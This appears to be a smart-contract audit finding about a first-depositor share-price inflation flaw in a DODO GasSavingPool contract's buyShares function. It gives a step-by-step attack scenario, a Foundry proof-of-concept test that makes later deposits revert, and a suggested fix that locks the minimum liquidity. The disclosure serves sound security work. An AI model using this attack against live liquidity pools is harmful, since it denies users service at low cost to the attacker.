Share Price Inflation by First LP-er, Enabling DOS Attacks on Subsequent buyShares with Up to 1001x the Attacking Cost
The smart contract contains a critical vulnerability that allows a malicious actor to manipulate the share price during the initialization of the liquidity pool, potentially leading to a DOS attack on subsequent buyShares operations.\\nThe root cause of the vulnerability lies in the initialization process of the liquidity pool, specifically in the calculation of shares during the first deposit.\\n```\\n// Findings are labeled with '<= FOUND'\\n// File: dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol\\n   function buyShares(address to)\\n        // rest of code\\n           // case 1. initial supply\\n           // The shares will be minted to user\\n           shares = quoteBalance < DecimalMath.mulFloor(baseBalance, _I_) // <= FOUND\\n               ? DecimalMath.divFloor(quoteBalance, _I_)\\n               : baseBalance; // @audit-info mint shares based on min balance(base, quote)\\n           // The target will be updated\\n           _BASE_TARGET_ = uint112(shares);\\n            // rest of code\\n   }\\n```\\n\\nIf the pool is empty, the smart contract directly sets the share value based on the minimium value of the base token denominated value of the provided assets. This assumption can be manipulated by a malicious actor during the first deposit, leading to a situation where the LP pool token becomes extremely expensive.\\nAttack Scenario\\nThe attacker exploits the vulnerability during the initialization of the liquidity pool:\\nThe attacker mints 1001 `shares` during the first deposit.\\nImmediately, the attacker sells back 1000 `shares`, ensuring to keep 1 wei via the `sellShares` function.\\nThe attacker then donates a large amount (1000e18) of base and quote tokens and invokes the `sync()` routine to pump the base and quote reserves to 1001 + 1000e18.\\nThe protocol users proceed to execute the `buyShares` function with a balance less than `attacker's spending * 1001`. The transaction reverts due to the `mintRatio` being kept below 1001 wad and the computed `shares` less than 1001 (line 71), while it needs a value >= 1001 to mint `shares` successfully.\\n```\\n// File: dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol\\n   function buyShares(address to)\\n        // rest of code\\n           // case 2. normal case\\n           uint256 baseInputRatio = DecimalMath.divFloor(baseInput, baseReserve);\\n           uint256 quoteInputRatio = DecimalMath.divFloor(quoteInput, quoteReserve);\\n           uint256 mintRatio = quoteInputRatio < baseInputRatio ? quoteInputRatio : baseInputRatio; // <= FOUND: mintRatio below 1001wad if input amount smaller than reserves * 1001\\n           // The shares will be minted to user\\n           shares = DecimalMath.mulFloor(totalSupply, mintRatio); // <= FOUND: the manipulated totalSupply of 1wei requires a mintRatio of greater than 1000 for a successful _mint()\\n            // rest of code\\n   }\\n// File: dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPVault.sol\\n   function _mint(address user, uint256 value) internal {\\n       require(value > 1000, "MINT_AMOUNT_NOT_ENOUGH"); // <= FOUND: next buyShares with volume less than 1001 x attacker balance will revert here\\n// rest of code\\n   }\\n```\\n\\nThe `_mint()` function fails with a "MINT_AMOUNT_NOT_ENOUGH" error, causing a denial-of-service condition for subsequent buyShares operations.\\nPOC\\n```\\n// File: dodo-gassaving-pool/test/GPSTrader.t.sol\\n    function test_mint1weiShares_DOSx1000DonationVolume() public {\\n        GSP gspTest = new GSP();\\n        gspTest.init(\\n            MAINTAINER,\\n            address(mockBaseToken),\\n            address(mockQuoteToken),\\n            0,\\n            0,\\n            1000000,\\n            500000000000000,\\n            false\\n        );\\n\\n        // Buy 1001 shares\\n        vm.startPrank(USER);\\n        mockBaseToken.transfer(address(gspTest), 1001);\\n        mockQuoteToken.transfer(address(gspTest), 1001 * gspTest._I_() / 1e18);\\n        gspTest.buyShares(USER);\\n        assertEq(gspTest.balanceOf(USER), 1001);\\n\\n        // User sells shares and keep ONLY 1wei\\n        gspTest.sellShares(1000, USER, 0, 0, "", block.timestamp);\\n        assertEq(gspTest.balanceOf(USER), 1);\\n\\n        // User donate a huge amount of base & quote tokens to inflate the share price\\n        uint256 donationAmount = 1000e18;\\n        mockBaseToken.transfer(address(gspTest), donationAmount);\\n        mockQuoteToken.transfer(address(gspTest), donationAmount * gspTest._I_() / 1e18);\\n        gspTest.sync();\\n        vm.stopPrank();\\n\\n        // DOS subsequent operations with roughly 1001 x donation volume\\n        uint256 dosAmount = donationAmount * 1001;\\n        mockBaseToken.mint(OTHER, type(uint256).max);\\n        mockQuoteToken.mint(OTHER, type(uint256).max);\\n\\n        vm.startPrank(OTHER);\\n        mockBaseToken.transfer(address(gspTest), dosAmount);\\n        mockQuoteToken.transfer(address(gspTest), dosAmount * gspTest._I_() / 1e18);\\n\\n        vm.expectRevert("MINT_AMOUNT_NOT_ENOUGH");\\n        gspTest.buyShares(OTHER);\\n        vm.stopPrank();\\n    }\\n```\\n\\nA PASS result would confirm that any deposits with volume less than 1001 times to attacker cost would fail. That means by spending $1000, the attacker can DOS any transaction with volume below $1001,000.
A mechanism should be implemented to handle the case of zero totalSupply during initialization. A potential solution is inspired by Uniswap V2 Core Code, which sends the first 1001 LP tokens to the zero address. This way, it's extremely costly to inflate the share price as much as 1001 times on the first deposit.\\n```\\n// File: dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol\\n   function buyShares(address to)\\n        // rest of code\\n       if (totalSupply == 0) {\\n           // case 1. initial supply\\n           // The shares will be minted to user\\n           shares = quoteBalance < DecimalMath.mulFloor(baseBalance, _I_)\\n               ? DecimalMath.divFloor(quoteBalance, _I_)\\n               : baseBalance; \\n+             _mint(address(0), 1001); // permanently lock the first MINIMUM_LIQUIDITY of 1001 tokens, makes it imposible to manipulate the totalSupply to 1 wei\\n// rest of code\\n``` // rest of code\\n```\\n
The impact of this vulnerability is severe, as it allows an attacker to conduct DOS attacks on buyShares with a low attacking cost (retrievable for further attacks via sellShares). This significantly impairs the core functionality of the protocol, potentially preventing further LP operations and hindering the protocol's ability to attract Total Value Locked (TVL) for other trading operations such as sellBase, sellQuote and flashloan.
```\\n// Findings are labeled with '<= FOUND'\\n// File: dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol\\n   function buyShares(address to)\\n        // rest of code\\n           // case 1. initial supply\\n           // The shares will be minted to user\\n           shares = quoteBalance < DecimalMath.mulFloor(baseBalance, _I_) // <= FOUND\\n               ? DecimalMath.divFloor(quoteBalance, _I_)\\n               : baseBalance; // @audit-info mint shares based on min balance(base, quote)\\n           // The target will be updated\\n           _BASE_TARGET_ = uint112(shares);\\n            // rest of code\\n   }\\n```\\n